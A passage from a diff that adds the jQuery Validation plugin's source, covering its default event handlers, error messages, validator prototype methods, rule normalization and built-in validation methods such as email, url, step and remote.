!this.checkable( element ) && ( element.name in this.submitted || !this.optional( element ) ) ) { + this.element( element ); + } + }, + onkeyup: function( element, event ) { + + // Avoid revalidate the field when pressing one of the following keys + // Shift => 16 + // Ctrl => 17 + // Alt => 18 + // Caps lock => 20 + // End => 35 + // Home => 36 + // Left arrow => 37 + // Up arrow => 38 + // Right arrow => 39 + // Down arrow => 40 + // Insert => 45 + // Num lock => 144 + // AltGr key => 225 + var excludedKeys = [ + 16, 17, 18, 20, 35, 36, 37, + 38, 39, 40, 45, 144, 225 + ]; + + if ( event.which === 9 && this.elementValue( element ) === "" || $.inArray( event.keyCode, excludedKeys ) !== -1 ) { + return; + } else if ( element.name in this.submitted || element.name in this.invalid ) { + this.element( element ); + } + }, + onclick: function( element ) { + + // Click on selects, radiobuttons and checkboxes + if ( element.name in this.submitted ) { + this.element( element ); + + // Or option elements, check parent select in that case + } else if ( element.parentNode.name in this.submitted ) { + this.element( element.parentNode ); + } + }, + highlight: function( element, errorClass, validClass ) { + if ( element.type === "radio" ) { + this.findByName( element.name ).addClass( errorClass ).removeClass( validClass ); + } else { + $( element ).addClass( errorClass ).removeClass( validClass ); + } + }, + unhighlight: function( element, errorClass, validClass ) { + if ( element.type === "radio" ) { + this.findByName( element.name ).removeClass( errorClass ).addClass( validClass ); + } else { + $( element ).removeClass( errorClass ).addClass( validClass ); + } + } + }, + + // https://jqueryvalidation.org/jQuery.validator.setDefaults/ + setDefaults: function( settings ) { + $.extend( $.validator.defaults, settings ); + }, + + messages: { + required: "This field is required.", + remote: "Please fix this field.", + email: "Please enter a valid email address.", + url: "Please enter a valid URL.", + date: "Please enter a valid date.", + dateISO: "Please enter a valid date (ISO).", + number: "Please enter a valid number.", + digits: "Please enter only digits.", + equalTo: "Please enter the same value again.", + maxlength: $.validator.format( "Please enter no more than {0} characters." ), + minlength: $.validator.format( "Please enter at least {0} characters." ), + rangelength: $.validator.format( "Please enter a value between {0} and {1} characters long." ), + range: $.validator.format( "Please enter a value between {0} and {1}." ), + max: $.validator.format( "Please enter a value less than or equal to {0}." ), + min: $.validator.format( "Please enter a value greater than or equal to {0}." ), + step: $.validator.format( "Please enter a multiple of {0}." ) + }, + + autoCreateRanges: false, + + prototype: { + + init: function() { + this.labelContainer = $( this.settings.errorLabelContainer ); + this.errorContext = this.labelContainer.length && this.labelContainer || $( this.currentForm ); + this.containers = $( this.settings.errorContainer ).add( this.settings.errorLabelContainer ); + this.submitted = {}; + this.valueCache = {}; + this.pendingRequest = 0; + this.pending = {}; + this.invalid = {}; + this.reset(); + + var groups = ( this.groups = {} ), + rules; + $.each( this.settings.groups, function( key, value ) { + if ( typeof value === "string" ) { + value = value.split( /\s/ ); + } + $.each( value, function( index, name ) { + groups[ name ] = key; + } ); + } ); + rules = this.settings.rules; + $.each( rules, function( key, value ) { + rules[ key ] = $.validator.normalizeRule( value ); + } ); + + function delegate( event ) { + + // Set form expando on contenteditable + if ( !this.form && this.hasAttribute( "contenteditable" ) ) { + this.form = $( this ).closest( "form" )[ 0 ]; + this.name = $( this ).attr( "name" ); + } + + var validator = $.data( this.form, "validator" ), + eventType = "on" + event.type.replace( /^validate/, "" ), + settings = validator.settings; + if ( settings[ eventType ] && !$( this ).is( settings.ignore ) ) { + settings[ eventType ].call( validator, this, event ); + } + } + + $( this.currentForm ) + .on( "focusin.validate focusout.validate keyup.validate", + ":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], " + + "[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], " + + "[type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], " + + "[type='radio'], [type='checkbox'], [contenteditable], [type='button']", delegate ) + + // Support: Chrome, oldIE + // "select" is provided as event.target when clicking a option + .on( "click.validate", "select, option, [type='radio'], [type='checkbox']", delegate ); + + if ( this.settings.invalidHandler ) { + $( this.currentForm ).on( "invalid-form.validate", this.settings.invalidHandler ); + } + }, + + // https://jqueryvalidation.org/Validator.form/ + form: function() { + this.checkForm(); + $.extend( this.submitted, this.errorMap ); + this.invalid = $.extend( {}, this.errorMap ); + if ( !this.valid() ) { + $( this.currentForm ).triggerHandler( "invalid-form", [ this ] ); + } + this.showErrors(); + return this.valid(); + }, + + checkForm: function() { + this.prepareForm(); + for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) { + this.check( elements[ i ] ); + } + return this.valid(); + }, + + // https://jqueryvalidation.org/Validator.element/ + element: function( element ) { + var cleanElement = this.clean( element ), + checkElement = this.validationTargetFor( cleanElement ), + v = this, + result = true, + rs, group; + + if ( checkElement === undefined ) { + delete this.invalid[ cleanElement.name ]; + } else { + this.prepareElement( checkElement ); + this.currentElements = $( checkElement ); + + // If this element is grouped, then validate all group elements already + // containing a value + group = this.groups[ checkElement.name ]; + if ( group ) { + $.each( this.groups, function( name, testgroup ) { + if ( testgroup === group && name !== checkElement.name ) { + cleanElement = v.validationTargetFor( v.clean( v.findByName( name ) ) ); + if ( cleanElement && cleanElement.name in v.invalid ) { + v.currentElements.push( cleanElement ); + result = v.check( cleanElement ) && result; + } + } + } ); + } + + rs = this.check( checkElement ) !== false; + result = result && rs; + if ( rs ) { + this.invalid[ checkElement.name ] = false; + } else { + this.invalid[ checkElement.name ] = true; + } + + if ( !this.numberOfInvalids() ) { + + // Hide error containers on last error + this.toHide = this.toHide.add( this.containers ); + } + this.showErrors(); + + // Add aria-invalid status for screen readers + $( element ).attr( "aria-invalid", !rs ); + } + + return result; + }, + + // https://jqueryvalidation.org/Validator.showErrors/ + showErrors: function( errors ) { + if ( errors ) { + var validator = this; + + // Add items to error list and map + $.extend( this.errorMap, errors ); + this.errorList = $.map( this.errorMap, function( message, name ) { + return { + message: message, + element: validator.findByName( name )[ 0 ] + }; + } ); + + // Remove items from success list + this.successList = $.grep( this.successList, function( element ) { + return !( element.name in errors ); + } ); + } + if ( this.settings.showErrors ) { + this.settings.showErrors.call( this, this.errorMap, this.errorList ); + } else { + this.defaultShowErrors(); + } + }, + + // https://jqueryvalidation.org/Validator.resetForm/ + resetForm: function() { + if ( $.fn.resetForm ) { + $( this.currentForm ).resetForm(); + } + this.invalid = {}; + this.submitted = {}; + this.prepareForm(); + this.hideErrors(); + var elements = this.elements() + .removeData( "previousValue" ) + .removeAttr( "aria-invalid" ); + + this.resetElements( elements ); + }, + + resetElements: function( elements ) { + var i; + + if ( this.settings.unhighlight ) { + for ( i = 0; elements[ i ]; i++ ) { + this.settings.unhighlight.call( this, elements[ i ], + this.settings.errorClass, "" ); + this.findByName( elements[ i ].name ).removeClass( this.settings.validClass ); + } + } else { + elements + .removeClass( this.settings.errorClass ) + .removeClass( this.settings.validClass ); + } + }, + + numberOfInvalids: function() { + return this.objectLength( this.invalid ); + }, + + objectLength: function( obj ) { + /* jshint unused: false */ + var count = 0, + i; + for ( i in obj ) { + + // This check allows counting elements with empty error + // message as invalid elements + if ( obj[ i ] !== undefined && obj[ i ] !== null && obj[ i ] !== false ) { + count++; + } + } + return count; + }, + + hideErrors: function() { + this.hideThese( this.toHide ); + }, + + hideThese: function( errors ) { + errors.not( this.containers ).text( "" ); + this.addWrapper( errors ).hide(); + }, + + valid: function() { + return this.size() === 0; + }, + + size: function() { + return this.errorList.length; + }, + + focusInvalid: function() { + if ( this.settings.focusInvalid ) { + try { + $( this.findLastActive() || this.errorList.length && this.errorList[ 0 ].element || [] ) + .filter( ":visible" ) + .focus() + + // Manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find + .trigger( "focusin" ); + } catch ( e ) { + + // Ignore IE throwing errors when focusing hidden elements + } + } + }, + + findLastActive: function() { + var lastActive = this.lastActive; + return lastActive && $.grep( this.errorList, function( n ) { + return n.element.name === lastActive.name; + } ).length === 1 && lastActive; + }, + + elements: function() { + var validator = this, + rulesCache = {}; + + // Select all valid inputs inside the form (no submit or reset buttons) + return $( this.currentForm ) + .find( "input, select, textarea, [contenteditable]" ) + .not( ":submit, :reset, :image, :disabled" ) + .not( this.settings.ignore ) + .filter( function() { + var name = this.name || $( this ).attr( "name" ); // For contenteditable + if ( !name && validator.settings.debug && window.console ) { + console.error( "%o has no name assigned", this ); + } + + // Set form expando on contenteditable + if ( this.hasAttribute( "contenteditable" ) ) { + this.form = $( this ).closest( "form" )[ 0 ]; + this.name = name; + } + + // Select only the first element for each name, and only those with rules specified + if ( name in rulesCache || !validator.objectLength( $( this ).rules() ) ) { + return false; + } + + rulesCache[ name ] = true; + return true; + } ); + }, + + clean: function( selector ) { + return $( selector )[ 0 ]; + }, + + errors: function() { + var errorClass = this.settings.errorClass.split( " " ).join( "." ); + return $( this.settings.errorElement + "." + errorClass, this.errorContext ); + }, + + resetInternals: function() { + this.successList = []; + this.errorList = []; + this.errorMap = {}; + this.toShow = $( [] ); + this.toHide = $( [] ); + }, + + reset: function() { + this.resetInternals(); + this.currentElements = $( [] ); + }, + + prepareForm: function() { + this.reset(); + this.toHide = this.errors().add( this.containers ); + }, + + prepareElement: function( element ) { + this.reset(); + this.toHide = this.errorsFor( element ); + }, + + elementValue: function( element ) { + var $element = $( element ), + type = element.type, + val, idx; + + if ( type === "radio" || type === "checkbox" ) { + return this.findByName( element.name ).filter( ":checked" ).val(); + } else if ( type === "number" && typeof element.validity !== "undefined" ) { + return element.validity.badInput ? "NaN" : $element.val(); + } + + if ( element.hasAttribute( "contenteditable" ) ) { + val = $element.text(); + } else { + val = $element.val(); + } + + if ( type === "file" ) { + + // Modern browser (chrome & safari) + if ( val.substr( 0, 12 ) === "C:\\fakepath\\" ) { + return val.substr( 12 ); + } + + // Legacy browsers + // Unix-based path + idx = val.lastIndexOf( "/" ); + if ( idx >= 0 ) { + return val.substr( idx + 1 ); + } + + // Windows-based path + idx = val.lastIndexOf( "\\" ); + if ( idx >= 0 ) { + return val.substr( idx + 1 ); + } + + // Just the file name + return val; + } + + if ( typeof val === "string" ) { + return val.replace( /\r/g, "" ); + } + return val; + }, + + check: function( element ) { + element = this.validationTargetFor( this.clean( element ) ); + + var rules = $( element ).rules(), + rulesCount = $.map( rules, function( n, i ) { + return i; + } ).length, + dependencyMismatch = false, + val = this.elementValue( element ), + result, method, rule, normalizer; + + // Prioritize the local normalizer defined for this element over the global one + // if the former exists, otherwise user the global one in case it exists. + if ( typeof rules.normalizer === "function" ) { + normalizer = rules.normalizer; + } else if ( typeof this.settings.normalizer === "function" ) { + normalizer = this.settings.normalizer; + } + + // If normalizer is defined, then call it to retreive the changed value instead + // of using the real one. + // Note that `this` in the normalizer is `element`. + if ( normalizer ) { + val = normalizer.call( element, val ); + + if ( typeof val !== "string" ) { + throw new TypeError( "The normalizer should return a string value." ); + } + + // Delete the normalizer from rules to avoid treating it as a pre-defined method. + delete rules.normalizer; + } + + for ( method in rules ) { + rule = { method: method, parameters: rules[ method ] }; + try { + result = $.validator.methods[ method ].call( this, val, element, rule.parameters ); + + // If a method indicates that the field is optional and therefore valid, + // don't mark it as valid when there are no other rules + if ( result === "dependency-mismatch" && rulesCount === 1 ) { + dependencyMismatch = true; + continue; + } + dependencyMismatch = false; + + if ( result === "pending" ) { + this.toHide = this.toHide.not( this.errorsFor( element ) ); + return; + } + + if ( !result ) { + this.formatAndAdd( element, rule ); + return false; + } + } catch ( e ) { + if ( this.settings.debug && window.console ) { + console.log( "Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.", e ); + } + if ( e instanceof TypeError ) { + e.message += ". Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method."; + } + + throw e; + } + } + if ( dependencyMismatch ) { + return; + } + if ( this.objectLength( rules ) ) { + this.successList.push( element ); + } + return true; + }, + + // Return the custom message for the given element and validation method + // specified in the element's HTML5 data attribute + // return the generic message if present and no method specific message is present + customDataMessage: function( element, method ) { + return $( element ).data( "msg" + method.charAt( 0 ).toUpperCase() + + method.substring( 1 ).toLowerCase() ) || $( element ).data( "msg" ); + }, + + // Return the custom message for the given element name and validation method + customMessage: function( name, method ) { + var m = this.settings.messages[ name ]; + return m && ( m.constructor === String ? m : m[ method ] ); + }, + + // Return the first defined argument, allowing empty strings + findDefined: function() { + for ( var i = 0; i < arguments.length; i++ ) { + if ( arguments[ i ] !== undefined ) { + return arguments[ i ]; + } + } + return undefined; + }, + + // The second parameter 'rule' used to be a string, and extended to an object literal + // of the following form: + // rule = { + // method: "method name", + // parameters: "the given method parameters" + // } + // + // The old behavior still supported, kept to maintain backward compatibility with + // old code, and will be removed in the next major release. + defaultMessage: function( element, rule ) { + if ( typeof rule === "string" ) { + rule = { method: rule }; + } + + var message = this.findDefined( + this.customMessage( element.name, rule.method ), + this.customDataMessage( element, rule.method ), + + // 'title' is never undefined, so handle empty string as undefined + !this.settings.ignoreTitle && element.title || undefined, + $.validator.messages[ rule.method ], + "<strong>Warning: No message defined for " + element.name + "</strong>" + ), + theregex = /\$?\{(\d+)\}/g; + if ( typeof message === "function" ) { + message = message.call( this, rule.parameters, element ); + } else if ( theregex.test( message ) ) { + message = $.validator.format( message.replace( theregex, "{$1}" ), rule.parameters ); + } + + return message; + }, + + formatAndAdd: function( element, rule ) { + var message = this.defaultMessage( element, rule ); + + this.errorList.push( { + message: message, + element: element, + method: rule.method + } ); + + this.errorMap[ element.name ] = message; + this.submitted[ element.name ] = message; + }, + + addWrapper: function( toToggle ) { + if ( this.settings.wrapper ) { + toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) ); + } + return toToggle; + }, + + defaultShowErrors: function() { + var i, elements, error; + for ( i = 0; this.errorList[ i ]; i++ ) { + error = this.errorList[ i ]; + if ( this.settings.highlight ) { + this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass ); + } + this.showLabel( error.element, error.message ); + } + if ( this.errorList.length ) { + this.toShow = this.toShow.add( this.containers ); + } + if ( this.settings.success ) { + for ( i = 0; this.successList[ i ]; i++ ) { + this.showLabel( this.successList[ i ] ); + } + } + if ( this.settings.unhighlight ) { + for ( i = 0, elements = this.validElements(); elements[ i ]; i++ ) { + this.settings.unhighlight.call( this, elements[ i ], this.settings.errorClass, this.settings.validClass ); + } + } + this.toHide = this.toHide.not( this.toShow ); + this.hideErrors(); + this.addWrapper( this.toShow ).show(); + }, + + validElements: function() { + return this.currentElements.not( this.invalidElements() ); + }, + + invalidElements: function() { + return $( this.errorList ).map( function() { + return this.element; + } ); + }, + + showLabel: function( element, message ) { + var place, group, errorID, v, + error = this.errorsFor( element ), + elementID = this.idOrName( element ), + describedBy = $( element ).attr( "aria-describedby" ); + + if ( error.length ) { + + // Refresh error/success class + error.removeClass( this.settings.validClass ).addClass( this.settings.errorClass ); + + // Replace message on existing label + error.html( message ); + } else { + + // Create error element + error = $( "<" + this.settings.errorElement + ">" ) + .attr( "id", elementID + "-error" ) + .addClass( this.settings.errorClass ) + .html( message || "" ); + + // Maintain reference to the element to be placed into the DOM + place = error; + if ( this.settings.wrapper ) { + + // Make sure the element is visible, even in IE + // actually showing the wrapped element is handled elsewhere + place = error.hide().show().wrap( "<" + this.settings.wrapper + "/>" ).parent(); + } + if ( this.labelContainer.length ) { + this.labelContainer.append( place ); + } else if ( this.settings.errorPlacement ) { + this.settings.errorPlacement.call( this, place, $( element ) ); + } else { + place.insertAfter( element ); + } + + // Link error back to the element + if ( error.is( "label" ) ) { + + // If the error is a label, then associate using 'for' + error.attr( "for", elementID ); + + // If the element is not a child of an associated label, then it's necessary + // to explicitly apply aria-describedby + } else if ( error.parents( "label[for='" + this.escapeCssMeta( elementID ) + "']" ).length === 0 ) { + errorID = error.attr( "id" ); + + // Respect existing non-error aria-describedby + if ( !describedBy ) { + describedBy = errorID; + } else if ( !describedBy.match( new RegExp( "\\b" + this.escapeCssMeta( errorID ) + "\\b" ) ) ) { + + // Add to end of list if not already present + describedBy += " " + errorID; + } + $( element ).attr( "aria-describedby", describedBy ); + + // If this element is grouped, then assign to all elements in the same group + group = this.groups[ element.name ]; + if ( group ) { + v = this; + $.each( v.groups, function( name, testgroup ) { + if ( testgroup === group ) { + $( "[name='" + v.escapeCssMeta( name ) + "']", v.currentForm ) + .attr( "aria-describedby", error.attr( "id" ) ); + } + } ); + } + } + } + if ( !message && this.settings.success ) { + error.text( "" ); + if ( typeof this.settings.success === "string" ) { + error.addClass( this.settings.success ); + } else { + this.settings.success( error, element ); + } + } + this.toShow = this.toShow.add( error ); + }, + + errorsFor: function( element ) { + var name = this.escapeCssMeta( this.idOrName( element ) ), + describer = $( element ).attr( "aria-describedby" ), + selector = "label[for='" + name + "'], label[for='" + name + "'] *"; + + // 'aria-describedby' should directly reference the error element + if ( describer ) { + selector = selector + ", #" + this.escapeCssMeta( describer ) + .replace( /\s+/g, ", #" ); + } + + return this + .errors() + .filter( selector ); + }, + + // See https://api.jquery.com/category/selectors/, for CSS + // meta-characters that should be escaped in order to be used with JQuery + // as a literal part of a name/id or any selector. + escapeCssMeta: function( string ) { + return string.replace( /([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g, "\\$1" ); + }, + + idOrName: function( element ) { + return this.groups[ element.name ] || ( this.checkable( element ) ? element.name : element.id || element.name ); + }, + + validationTargetFor: function( element ) { + + // If radio/checkbox, validate first element in group instead + if ( this.checkable( element ) ) { + element = this.findByName( element.name ); + } + + // Always apply ignore filter + return $( element ).not( this.settings.ignore )[ 0 ]; + }, + + checkable: function( element ) { + return ( /radio|checkbox/i ).test( element.type ); + }, + + findByName: function( name ) { + return $( this.currentForm ).find( "[name='" + this.escapeCssMeta( name ) + "']" ); + }, + + getLength: function( value, element ) { + switch ( element.nodeName.toLowerCase() ) { + case "select": + return $( "option:selected", element ).length; + case "input": + if ( this.checkable( element ) ) { + return this.findByName( element.name ).filter( ":checked" ).length; + } + } + return value.length; + }, + + depend: function( param, element ) { + return this.dependTypes[ typeof param ] ? this.dependTypes[ typeof param ]( param, element ) : true; + }, + + dependTypes: { + "boolean": function( param ) { + return param; + }, + "string": function( param, element ) { + return !!$( param, element.form ).length; + }, + "function": function( param, element ) { + return param( element ); + } + }, + + optional: function( element ) { + var val = this.elementValue( element ); + return !$.validator.methods.required.call( this, val, element ) && "dependency-mismatch"; + }, + + startRequest: function( element ) { + if ( !this.pending[ element.name ] ) { + this.pendingRequest++; + $( element ).addClass( this.settings.pendingClass ); + this.pending[ element.name ] = true; + } + }, + + stopRequest: function( element, valid ) { + this.pendingRequest--; + + // Sometimes synchronization fails, make sure pendingRequest is never < 0 + if ( this.pendingRequest < 0 ) { + this.pendingRequest = 0; + } + delete this.pending[ element.name ]; + $( element ).removeClass( this.settings.pendingClass ); + if ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() ) { + $( this.currentForm ).submit(); + + // Remove the hidden input that was used as a replacement for the + // missing submit button. The hidden input is added by `handle()` + // to ensure that the value of the used submit button is passed on + // for scripted submits triggered by this method + if ( this.submitButton ) { + $( "input:hidden[name='" + this.submitButton.name + "']", this.currentForm ).remove(); + } + + this.formSubmitted = false; + } else if ( !valid && this.pendingRequest === 0 && this.formSubmitted ) { + $( this.currentForm ).triggerHandler( "invalid-form", [ this ] ); + this.formSubmitted = false; + } + }, + + previousValue: function( element, method ) { + method = typeof method === "string" && method || "remote"; + + return $.data( element, "previousValue" ) || $.data( element, "previousValue", { + old: null, + valid: true, + message: this.defaultMessage( element, { method: method } ) + } ); + }, + + // Cleans up all forms and elements, removes validator-specific events + destroy: function() { + this.resetForm(); + + $( this.currentForm ) + .off( ".validate" ) + .removeData( "validator" ) + .find( ".validate-equalTo-blur" ) + .off( ".validate-equalTo" ) + .removeClass( "validate-equalTo-blur" ); + } + + }, + + classRuleSettings: { + required: { required: true }, + email: { email: true }, + url: { url: true }, + date: { date: true }, + dateISO: { dateISO: true }, + number: { number: true }, + digits: { digits: true }, + creditcard: { creditcard: true } + }, + + addClassRules: function( className, rules ) { + if ( className.constructor === String ) { + this.classRuleSettings[ className ] = rules; + } else { + $.extend( this.classRuleSettings, className ); + } + }, + + classRules: function( element ) { + var rules = {}, + classes = $( element ).attr( "class" ); + + if ( classes ) { + $.each( classes.split( " " ), function() { + if ( this in $.validator.classRuleSettings ) { + $.extend( rules, $.validator.classRuleSettings[ this ] ); + } + } ); + } + return rules; + }, + + normalizeAttributeRule: function( rules, type, method, value ) { + + // Convert the value to a number for number inputs, and for text for backwards compability + // allows type="date" and others to be compared as strings + if ( /min|max|step/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) { + value = Number( value ); + + // Support Opera Mini, which returns NaN for undefined minlength + if ( isNaN( value ) ) { + value = undefined; + } + } + + if ( value || value === 0 ) { + rules[ method ] = value; + } else if ( type === method && type !== "range" ) { + + // Exception: the jquery validate 'range' method + // does not test for the html5 'range' type + rules[ method ] = true; + } + }, + + attributeRules: function( element ) { + var rules = {}, + $element = $( element ), + type = element.getAttribute( "type" ), + method, value; + + for ( method in $.validator.methods ) { + + // Support for <input required> in both html5 and older browsers + if ( method === "required" ) { + value = element.getAttribute( method ); + + // Some browsers return an empty string for the required attribute + // and non-HTML5 browsers might have required="" markup + if ( value === "" ) { + value = true; + } + + // Force non-HTML5 browsers to return bool + value = !!value; + } else { + value = $element.attr( method ); + } + + this.normalizeAttributeRule( rules, type, method, value ); + } + + // 'maxlength' may be returned as -1, 2147483647 ( IE ) and 524288 ( safari ) for text inputs + if ( rules.maxlength && /-1|2147483647|524288/.test( rules.maxlength ) ) { + delete rules.maxlength; + } + + return rules; + }, + + dataRules: function( element ) { + var rules = {}, + $element = $( element ), + type = element.getAttribute( "type" ), + method, value; + + for ( method in $.validator.methods ) { + value = $element.data( "rule" + method.charAt( 0 ).toUpperCase() + method.substring( 1 ).toLowerCase() ); + this.normalizeAttributeRule( rules, type, method, value ); + } + return rules; + }, + + staticRules: function( element ) { + var rules = {}, + validator = $.data( element.form, "validator" ); + + if ( validator.settings.rules ) { + rules = $.validator.normalizeRule( validator.settings.rules[ element.name ] ) || {}; + } + return rules; + }, + + normalizeRules: function( rules, element ) { + + // Handle dependency check + $.each( rules, function( prop, val ) { + + // Ignore rule when param is explicitly false, eg. required:false + if ( val === false ) { + delete rules[ prop ]; + return; + } + if ( val.param || val.depends ) { + var keepRule = true; + switch ( typeof val.depends ) { + case "string": + keepRule = !!$( val.depends, element.form ).length; + break; + case "function": + keepRule = val.depends.call( element, element ); + break; + } + if ( keepRule ) { + rules[ prop ] = val.param !== undefined ? val.param : true; + } else { + $.data( element.form, "validator" ).resetElements( $( element ) ); + delete rules[ prop ]; + } + } + } ); + + // Evaluate parameters + $.each( rules, function( rule, parameter ) { + rules[ rule ] = $.isFunction( parameter ) && rule !== "normalizer" ? parameter( element ) : parameter; + } ); + + // Clean number parameters + $.each( [ "minlength", "maxlength" ], function() { + if ( rules[ this ] ) { + rules[ this ] = Number( rules[ this ] ); + } + } ); + $.each( [ "rangelength", "range" ], function() { + var parts; + if ( rules[ this ] ) { + if ( $.isArray( rules[ this ] ) ) { + rules[ this ] = [ Number( rules[ this ][ 0 ] ), Number( rules[ this ][ 1 ] ) ]; + } else if ( typeof rules[ this ] === "string" ) { + parts = rules[ this ].replace( /[\[\]]/g, "" ).split( /[\s,]+/ ); + rules[ this ] = [ Number( parts[ 0 ] ), Number( parts[ 1 ] ) ]; + } + } + } ); + + if ( $.validator.autoCreateRanges ) { + + // Auto-create ranges + if ( rules.min != null && rules.max != null ) { + rules.range = [ rules.min, rules.max ]; + delete rules.min; + delete rules.max; + } + if ( rules.minlength != null && rules.maxlength != null ) { + rules.rangelength = [ rules.minlength, rules.maxlength ]; + delete rules.minlength; + delete rules.maxlength; + } + } + + return rules; + }, + + // Converts a simple string to a {string: true} rule, e.g., "required" to {required:true} + normalizeRule: function( data ) { + if ( typeof data === "string" ) { + var transformed = {}; + $.each( data.split( /\s/ ), function() { + transformed[ this ] = true; + } ); + data = transformed; + } + return data; + }, + + // https://jqueryvalidation.org/jQuery.validator.addMethod/ + addMethod: function( name, method, message ) { + $.validator.methods[ name ] = method; + $.validator.messages[ name ] = message !== undefined ? message : $.validator.messages[ name ]; + if ( method.length < 3 ) { + $.validator.addClassRules( name, $.validator.normalizeRule( name ) ); + } + }, + + // https://jqueryvalidation.org/jQuery.validator.methods/ + methods: { + + // https://jqueryvalidation.org/required-method/ + required: function( value, element, param ) { + + // Check if dependency is met + if ( !this.depend( param, element ) ) { + return "dependency-mismatch"; + } + if ( element.nodeName.toLowerCase() === "select" ) { + + // Could be an array for select-multiple or a string, both are fine this way + var val = $( element ).val(); + return val && val.length > 0; + } + if ( this.checkable( element ) ) { + return this.getLength( value, element ) > 0; + } + return value.length > 0; + }, + + // https://jqueryvalidation.org/email-method/ + email: function( value, element ) { + + // From https://html.spec.whatwg.org/multipage/forms.html#valid-e-mail-address + // Retrieved 2014-01-14 + // If you have a problem with this implementation, report a bug against the above spec + // Or use custom methods to implement your own email validation + return this.optional( element ) || /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test( value ); + }, + + // https://jqueryvalidation.org/url-method/ + url: function( value, element ) { + + // Copyright (c) 2010-2013 Diego Perini, MIT licensed + // https://gist.github.com/dperini/729294 + // see also https://mathiasbynens.be/demo/url-regex + // modified to allow protocol-relative URLs + return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value ); + }, + + // https://jqueryvalidation.org/date-method/ + date: function( value, element ) { + return this.optional( element ) || !/Invalid|NaN/.test( new Date( value ).toString() ); + }, + + // https://jqueryvalidation.org/dateISO-method/ + dateISO: function( value, element ) { + return this.optional( element ) || /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test( value ); + }, + + // https://jqueryvalidation.org/number-method/ + number: function( value, element ) { + return this.optional( element ) || /^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test( value ); + }, + + // https://jqueryvalidation.org/digits-method/ + digits: function( value, element ) { + return this.optional( element ) || /^\d+$/.test( value ); + }, + + // https://jqueryvalidation.org/minlength-method/ + minlength: function( value, element, param ) { + var length = $.isArray( value ) ? value.length : this.getLength( value, element ); + return this.optional( element ) || length >= param; + }, + + // https://jqueryvalidation.org/maxlength-method/ + maxlength: function( value, element, param ) { + var length = $.isArray( value ) ? value.length : this.getLength( value, element ); + return this.optional( element ) || length <= param; + }, + + // https://jqueryvalidation.org/rangelength-method/ + rangelength: function( value, element, param ) { + var length = $.isArray( value ) ? value.length : this.getLength( value, element ); + return this.optional( element ) || ( length >= param[ 0 ] && length <= param[ 1 ] ); + }, + + // https://jqueryvalidation.org/min-method/ + min: function( value, element, param ) { + return this.optional( element ) || value >= param; + }, + + // https://jqueryvalidation.org/max-method/ + max: function( value, element, param ) { + return this.optional( element ) || value <= param; + }, + + // https://jqueryvalidation.org/range-method/ + range: function( value, element, param ) { + return this.optional( element ) || ( value >= param[ 0 ] && value <= param[ 1 ] ); + }, + + // https://jqueryvalidation.org/step-method/ + step: function( value, element, param ) { + var type = $( element ).attr( "type" ), + errorMessage = "Step attribute on input type " + type + " is not supported.", + supportedTypes = [ "text", "number", "range" ], + re = new RegExp( "\\b" + type + "\\b" ), + notSupported = type && !re.test( supportedTypes.join() ), + decimalPlaces = function( num ) { + var match = ( "" + num ).match( /(?:\.(\d+))?$/ ); + if ( !match ) { + return 0; + } + + // Number of digits right of decimal point. + return match[ 1 ] ? match[ 1 ].length : 0; + }, + toInt = function( num ) { + return Math.round( num * Math.pow( 10, decimals ) ); + }, + valid = true, + decimals; + + // Works only for text, number and range input types + // TODO find a way to support input types date, datetime, datetime-local, month, time and week + if ( notSupported ) { + throw new Error( errorMessage ); + } + + decimals = decimalPlaces( param ); + + // Value can't have too many decimals + if ( decimalPlaces( value ) > decimals || toInt( value ) % toInt( param ) !== 0 ) { + valid = false; + } + + return this.optional( element ) || valid; + }, + + // https://jqueryvalidation.org/equalTo-method/ + equalTo: function( value, element, param ) { + + // Bind to the blur event of the target in order to revalidate whenever the target field is updated + var target = $( param ); + if ( this.settings.onfocusout && target.not( ".validate-equalTo-blur" ).length ) { + target.addClass( "validate-equalTo-blur" ).on( "blur.validate-equalTo", function() { + $( element ).valid(); + } ); + } + return value === target.val(); + }, + + // https://jqueryvalidation.org/remote-method/ + remote: function( value, element, param, method ) { + if ( this.optional( element ) ) { + return "dependency-mismatch"; + } + + method = typeof method === "string" && method || "remote"; + + var previous = this.previousValue( element, method ), + validator, data, optionDataString; + + if ( !this.settings.messages[ element.name ] ) { + this.settings.messages[ element.name ] = {}; + } + previous.originalMessage = previous.originalMessage || this.settings.messages[ element.name ][ method ]; + this.settings.messages[ element.name ][ method ] = previous.message; + + param = typeof param === "string" && { url: param } || param; + optionDataString = $.param( $.extend( { data: value }, param.data ) ); + if ( previous.old === optionDataString ) { + return previous.valid; + } + + previous.old = optionDataString; + validator = 